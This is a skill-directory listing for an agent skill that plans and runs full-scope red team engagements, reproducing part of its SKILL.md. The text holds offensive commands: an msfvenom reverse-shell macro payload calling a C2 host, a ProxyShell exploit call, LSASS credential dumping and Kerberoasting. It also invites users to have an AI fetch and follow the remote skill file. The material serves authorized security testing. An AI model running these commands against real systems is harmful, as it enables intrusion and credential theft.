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Security35k · #5574

conducting-full-scope-red-team-engagement

Lets your agent plan and execute complex attack simulations. It assesses how an organization defends against advanced threats, testing detection and response.

What it does

This tool simulates real cyber attacks to test an organization's security. It checks if defenses can detect and respond to advanced threats.

When to use it

  • ✓When conducting a full-scope security assessment.
  • ✓When investigating security incidents.
  • ✓When performing scheduled security testing.

Example of what to ask your AI

“Simulate a full Red Team attack against our network to find vulnerabilities.”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/conducting-full-scope-red-team-engagement/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/conducting-full-scope-red-team-engagement/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

The tool plans and executes attacks in stages, like gathering information, gaining initial access, moving through the network, and simulating data theft. It uses real hacker tactics to test defenses.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill conducting-full-scope-red-team-engagement

Or download just the file:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/conducting-full-scope-red-team-engagement/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Conducting Full-Scope Red Team Engagement

Overview

A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).

When to Use

  • When conducting security assessments that involve conducting full scope red team engagement
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Written authorization (Rules of Engagement document) signed by executive leadership
  • Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures
  • Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)
  • Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment
  • Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws

Engagement Phases

Phase 1: Planning and Threat Modeling

Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:

Kill Chain Phase MITRE ATT&CK Tactic Example Techniques
Reconnaissance TA0043 T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info
Resource Development TA0042 T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware
Initial Access TA0001 T1566.001 Spearphishing Attachment, T1078 Valid Accounts
Execution TA0002 T1059.001 PowerShell, T1204.002 User Execution: Malicious File
Persistence TA0003 T1053.005 Scheduled Task, T1547.001 Registry Run Keys
Privilege Escalation TA0004 T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass
Defense Evasion TA0005 T1055 Process Injection, T1027 Obfuscated Files
Credential Access TA0006 T1003.001 LSASS Memory, T1558.003 Kerberoasting
Discovery TA0007 T1087 Account Discovery, T1018 Remote System Discovery
Lateral Movement TA0008 T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash
Collection TA0009 T1560 Archive Collected Data, T1213 Data from Information Repositories
Exfiltration TA0010 T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol
Impact TA0040 T1486 Data Encrypted for Impact, T1489 Service Stop

Phase 2: Reconnaissance (OSINT)

# Passive DNS enumeration
amass enum -passive -d target.com -o amass_passive.txt

# Certificate transparency log search
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
    print(cert['name_value'])
" | sort -u > subdomains.txt

# LinkedIn employee enumeration
theHarvester -d target.com -b linkedin -l 500 -f harvest_results

# Technology fingerprinting
whatweb -v target.com --log-json=whatweb.json

# Breach data credential search (authorized)
h8mail -t target.com -o h8mail_results.csv

Phase 3: Initial Access

Common initial access vectors for red team engagements:

Spearphishing (T1566.001):

# Generate payload with macro
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba

# Set up GoPhish campaign
# Configure SMTP profile, email template with pretexted lure, and landing page
gophish --config config.json

External Service Exploitation (T1190):

# Scan for vulnerable services
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan

# Exploit known CVE (example: ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com

Phase 4: Post-Exploitation and Lateral Movement

# Situational awareness (T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com

# Credential harvesting from LSASS (T1003.001)
# Using Havoc C2 built-in module
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords

# Kerberoasting (T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# Lateral movement via WMI (T1047)

…
FAQ

What's the difference between Red Team and Pentest?

Penetration testing focuses on finding specific vulnerabilities. Red Teaming simulates a real adversary, pursuing objectives and testing the organization's detection and response capabilities more broadly and stealthily.

Do I need permission to use this tool?

Yes, written authorization from leadership is essential, with a clearly defined scope and rules of engagement, along with legal compliance.

What are TTPs?

TTPs stand for Tactics, Techniques, and Procedures used by adversaries. Mapping TTPs helps understand and simulate real threat behaviors.

Details

Original description by the author

Plan and execute a comprehensive, MITRE ATT&CK-aligned red team engagement spanning threat modeling, reconnaissance, initial access, and post-exploitation to evaluate an organization's detection, prevention, and response against APT-style behavior. Use when scoping or running a full-scope, objective-based engagement, or purple-teaming against a specific threat actor's TTPs.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularity

GitHub stars
35k
Ranking position
#5574
License
Apache-2.0
Updated
8/31/2026

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